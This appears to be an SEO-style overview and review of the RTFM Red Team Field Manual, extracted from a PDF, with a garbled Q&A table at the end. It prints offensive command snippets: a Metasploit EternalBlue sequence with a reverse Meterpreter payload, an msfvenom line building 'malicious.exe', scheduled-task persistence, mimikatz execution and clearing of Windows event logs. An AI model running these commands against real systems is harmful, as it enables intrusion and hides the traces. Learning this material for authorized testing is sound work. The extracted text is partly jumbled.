Rtfm Red Team Field Manual

Understanding the RTFM Red Team Field Manual

The RTFM Red Team Field Manual is an essential resource for cybersecurity professionals, particularly those involved in
red teaming, penetration testing, and offensive security. This manual provides practical guidance, tactical insights, and
operational procedures designed to simulate adversary tactics to identify vulnerabilities within organizational defenses. Its
comprehensive approach makes it a valuable tool for security practitioners aiming to improve their understanding of attack
methodologies, enhance defensive strategies, and foster a proactive security posture.

What Is the RTFM Red Team Field Manual?

Origins and Purpose

The RTFM Red Team Field Manual originated as a concise, practical reference guide aimed at cybersecurity professionals
engaged in offensive security exercises. Its core objective is to equip red team operators with rapid access to tried-and-true
techniques, command-line snippets, and operational tactics that can be employed during simulated attacks. Unlike
traditional security manuals that focus heavily on theory, RTFM emphasizes actionable procedures and real-world

application.

Key Features of the Manual

1. Concise and Practical: Focuses on quick-reference commands and techniques.
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2. Command-Line Focus: Provides numerous scripts and commands for Windows, Linux, and network environments.
3. Operational Tactics: Covers reconnaissance, exploitation, persistence, and post-exploitation activities.
4. Adaptability: Designed for use in various scenarios, from internal testing to external threat simulation.

Core Components of the RTFM Red Team Field Manual

Reconnaissance Techniques

Effective reconnaissance lays the foundation for successful red team operations. The RTFM manual offers commands and
scripts for gathering intelligence on target networks, hosts, and users:

1. Network scanning with tools like Nmap:
nmap -sS -sV -0

2. Enumerating user accounts:
enum4linux -a

3. DNS enumeration:

dnsenum

Initial Exploitation Strategies

Once reconnaissance is complete, the next step involves exploiting identified vulnerabilities. The manual provides command
snippets for common attack vectors:



1. Using Metasploit Framework for payload delivery:

msfconsole

use exploit/windows/smb/msl7 010 eternalblue
set RHOST

set PAYLOAD windows/meterpreter/reverse tcp
set LHOST

exploit

2. Crafting malicious documents with embedded macros:

msfvenom -p windows/meterpreter/reverse tcp LHOST= LPORT= -f exe -o malicious.exe

Persistence and Post-Exploitation
Maintaining access and escalating privileges are critical phases. The RTFM manual offers commands for persistence:
1. Creating scheduled tasks:
schtasks /create /sc minute /mo 5 /tn "PersistenceTask" /tr "cmd /c "
2. Adding backdoors via Meterpreter:

execute -f mimikatz -i

Covering Tracks and Moving Laterally
Operational security is paramount during red team exercises. RTFM suggests methods to evade detection:
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1. Clearing event logs:

wevtutil cl System
wevtutil cl Security

2. Using PowerShell for lateral movement:

Invoke-Command -ComputerName -ScriptBlock { }

Why the RTFM Red Team Field Manual Is Essential for Security Professionals

Practical and Time-Saving

In high-pressure environments, having quick access to commands and techniques can make the difference between success
and failure. RTFM acts as a rapid reference guide, reducing the time required to execute complex operations.

Bridging the Gap Between Theory and Practice

While many security resources focus on theoretical knowledge, RTFM emphasizes actionable tactics, making it especially
useful for practitioners actively engaged in offensive security.

Enhancing Defensive Strategies

By understanding the offensive techniques outlined in RTFM, defenders can better anticipate attacker behavior, establish
more effective detection mechanisms, and implement robust mitigation strategies.



How to Use the RTFM Red Team Field Manual Effectively

Integrate into Your Workflow

1. Familiarize Yourself with Commands: Study the snippets and understand their context.
2. Customize for Your Environment: Adapt scripts and commands to fit the specific network architecture and security

policies.
3. Practice Regularly: Conduct simulated exercises to refine your skills and command familiarity.

Combine with Other Resources

While RTFM is comprehensive, supplement it with other tools and manuals such as:

1. MITRE ATT&CK Framework
2. OWASP Top Ten
3. Vulnerability databases like CVE

Best Practices for Red Team Operations Using RTFM

Maintain Ethical Standards

1. Obtain proper authorization before conducting simulations.
2. Ensure that all activities are documented and approved.
3. Respect organizational policies and data confidentiality.
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Prioritize Safety and Stealth

1. Use commands that minimize disruption.
2. Employ stealth techniques to avoid detection.
3. Plan exit strategies to clean up after testing.

Continuously Update Your Knowledge

The cybersecurity landscape evolves rapidly. Regularly review updates to the RTFM manual and stay informed about
emerging attack vectors and defensive techniques.

Conclusion

The RTFM Red Team Field Manual remains a cornerstone resource for offensive security professionals. Its practical
approach, command-line focus, and comprehensive coverage of attack techniques make it invaluable for conducting
effective red team operations. By integrating the manual into your workflow, continuously practicing its techniques, and
understanding its strategic insights, you can significantly enhance your organization's security posture. Whether you are a
seasoned penetration tester or a cybersecurity enthusiast, mastering the RTFM manual will empower you to simulate
adversary tactics more accurately, identify vulnerabilities proactively, and develop robust defensive strategies.

Additional Resources for Red Team Practitioners

1. MITRE ATT&CK Framework
2. OWASP Foundation
3. Nmap Network Scanner

4. Metasploit Framework



https://attack.mitre.org/
https://owasp.org/
https://nmap.org/
https://github.com/rapid7/metasploit-framework

5. Common Vulnerabilities and Exposures (CVE)

By leveraging resources like the RTFM manual and supplementing them with comprehensive knowledge bases, security
professionals can stay ahead of cyber adversaries and strengthen their defenses effectively.

RTFM Red Team Field Manual: An In-Depth Exploration The RTFM Red Team Field Manual has established itself as an
essential resource for cybersecurity professionals engaged in offensive security operations. Its comprehensive and
pragmatic approach offers valuable insights into offensive tactics, techniques, and procedures (TTPs), making it a go-to
guide for red teams, penetration testers, and cybersecurity enthusiasts alike. This review delves into the manual’s core
components, practical applications, strengths, limitations, and how it fits into the broader landscape of security testing.
What Is the RTFM Red Team Field Manual? The RTFM Red Team Field Manual is a condensed, practical reference designed
to assist security practitioners in efficiently executing offensive operations. Unlike theoretical guides, it emphasizes
actionable commands, scripts, and procedures that can be directly applied during assessments. Originating from the
community of red teamers and penetration testers, it consolidates a wealth of knowledge into a portable format, making it
invaluable during real-world engagements. Origins and Purpose - Community-Driven: Developed by cybersecurity
professionals with hands-on experience. - Concise Reference: Focuses on providing quick, easy-to-access commands and
tactics. - Operational Focus: Aims to streamline offensive activities and reduce the need for extensive research during
engagements. - Complementary to Other Resources: While not exhaustive, it pairs well with more detailed manuals like
OSCP or OSCE materials. Core Components of the Manual The RTFM manual covers a broad spectrum of offensive security
topics. Its structure is designed to facilitate rapid access to commands and techniques relevant to various phases of red
team operations. 1. Reconnaissance and Information Gathering Effective attacks begin with intelligence. The manual offers
quick-reference commands and scripts for: - Network Scanning: - Nmap commands for port and service enumeration. -
Example: "nmap -sS -sV -A -T4 * - DNS Enumeration: - Tools like "dnsenum’, "dig", and "dnsrecon’. - Example: "dnsenum " -
Web Reconnaissance: - Tools like "whatweb", “wappalyzer’, and "dirb". - Example: "dirb http://" - OSINT Techniques: - Using
“theHarvester’, "Maltego ', or search engines for information gathering. 2. Exploitation Techniques The manual provides

© sandbox.xylemappliedwater.com Rtfm Red Team Field Manual 7


https://cve.mitre.org/

commands for exploiting known vulnerabilities, as well as maintaining access: - Exploit Execution: - Using Metasploit
modules with specific commands. - Example: “use exploit/windows/smb/ms17 010 eternalblue’ - Custom Exploits and
Scripts: - PowerShell one-liners for privilege escalation. - Example: “Invoke-ElevateUser" scripts. - Web Application Attacks: -
SQL injection, command injection, and cross-site scripting (XSS) techniques. 3. Post-Exploitation and Privilege Escalation
Once access is gained, the focus shifts to maintaining control and escalating privileges: - Persistence Mechanisms: -
Creating scheduled tasks, backdoors, or using existing services. - Example: PowerShell persistence scripts. - Privilege
Escalation Techniques: - Exploiting misconfigurations or known vulnerabilities. - Using tools like "winPEAS™ or "linPEAS" for
enumeration. - Lateral Movement: - Pass-the-hash, SSH pivoting, or RDP hijacking. 4. Command and Control (C2) The
manual discusses methods for establishing covert channels: - Beaconing Techniques: - Using simple scripts or tools like
‘ncat’, “netcat’, or “meterpreter’. - Data Exfiltration: - Commands for compressing, encrypting, and transferring data. 5.
Covering Tracks To simulate real-world attack scenarios, the manual includes: - Techniques for cleaning logs. - Clearing
command histories. - Removing artifacts post-engagement. Strengths of the RTFM Manual The manual’s design and content
offer several notable advantages: 1. Practicality and Speed - Quick Reference: Its command-centric layout allows red
teamers to swiftly access tactics without sifting through lengthy explanations. - Real-World Applicability: Commands are
tested and proven in live environments, making them immediately useful. 2. Breadth of Coverage - Spans from initial
reconnaissance to post-exploitation activities. - Addresses both Windows and Linux environments. - Includes web app
exploitation, network pivoting, and persistence. 3. Portable and Lightweight - Designed for quick deployment on field
devices. - Compact, facilitating use in constrained environments. 4. Community-Driven and Up-to-Date - Reflects current
offensive techniques. - Open to contributions and updates from the cybersecurity community, ensuring relevance.
Limitations and Criticisms While the RTFM manual is a valuable resource, it is essential to recognize its limitations: 1. Lack
of Depth and Context - Surface-Level Guidance: Focuses on commands rather than detailed explanations or methodology. -
Potential for Misuse: Without understanding the underlying concepts, users might execute commands inappropriately or
irresponsibly. 2. Not a Complete Learning Resource - Designed for practitioners with existing knowledge. - Not suitable as a
standalone training manual or educational resource. 3. Rapidly Evolving Landscape - Offensive techniques evolve quickly;



static manuals risk becoming outdated. - Requires continuous updates for effectiveness. 4. Ethical and Legal Considerations
- Contains offensive tools and techniques that should only be used in authorized environments. Practical Applications and
Use Cases The RTFM manual is particularly useful in specific scenarios: 1. Penetration Testing Engagements - Rapidly
executing enumeration and exploitation. - Streamlining workflows and reducing time-to-value. 2. Red Team Exercises -
Simulating real-world adversaries. - Testing organizational defenses and detection capabilities. 3. Red Team Training -
Acting as a quick reference during training exercises. - Helping newcomers learn command-line tools and offensive
techniques. 4. Incident Response and Forensics - Understanding attacker techniques. - Developing detection strategies
based on common commands and tactics. How to Maximize the Utility of the RTFM Manual To get the most out of the
manual, consider the following best practices: - Combine with Learning: Use it alongside more comprehensive training to
understand the context behind commands. - Customize Commands: Tailor scripts and commands to your specific
environment. - Stay Updated: Regularly review newer editions or community contributions. - Practice in Safe Environments:
Test commands in lab setups to understand their effects before deployment. Conclusion: An Indispensable Tool for Offensive
Security The RTFM Red Team Field Manual embodies the ethos of practical, experience-based cybersecurity. Its command-
focused approach provides red teamers and penetration testers with a rapid-access toolkit that enhances efficiency and
effectiveness during offensive operations. While it is not a substitute for in-depth training or comprehensive methodologies,
its value as a quick-reference guide cannot be overstated. In an era where speed and precision are paramount in
cybersecurity assessments, the RTFM manual stands out as a vital resource. When used responsibly and in conjunction with
broader knowledge, it empowers practitioners to simulate adversaries better, identify vulnerabilities more rapidly, and
strengthen defenses through informed testing. In summary, the RTFM Red Team Field Manual is more than just a collection
of commands; it is a reflection of practical offensive security experience, distilled into a portable, accessible format that
continues to serve the cybersecurity community effectively.
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Questions & Answers About rtfm red team field manual

No

Question

Answer

What is the RTFM Red Team Field
Manual?

The RTFM Red Team Field Manual is a concise, practical guide that
provides red team operators and security professionals with essential
techniques, commands, and methodologies for penetration testing and
cybersecurity assessments.

the original RTFM manual?

2 How can the RTFM manual improve my The RTFM manual offers quick reference to commonly used tools and
red team engagements? tactics, enabling red teamers to execute efficient and effective attacks,
streamline their workflows, and enhance their overall operational
effectiveness during engagements.
3 Is the RTFM manual suitable for While primarily designed for practitioners with some experience, the
beginners in cybersecurity? RTFM manual's clear and concise format also makes it a valuable
resource for beginners looking to learn practical offensive security
techniques.
4 Where can | access the latest version of | The latest versions of the RTFM manual are often available on
the RTFM Red Team Field Manual? cybersecurity community repositories like GitHub, or through dedicated
red team forums and security blogs that host updated copies.
5 How does the RTFM manual differ from Unlike comprehensive textbooks, the RTFM manual emphasizes brevity
other cybersecurity guides? and practicality, providing quick-reference commands and tactics that
can be directly applied during offensive security operations.
6 Are there any updates or expansions to | Yes, there are several community-driven versions and expansions of the

RTFM manual that include additional techniques, tools, and insights to
keep pace with evolving offensive security practices.

red team, cybersecurity, penetration testing, offensive security, red team tactics, security manual, ethical hacking, tactical

guide, cybersecurity handbook, attack techniques
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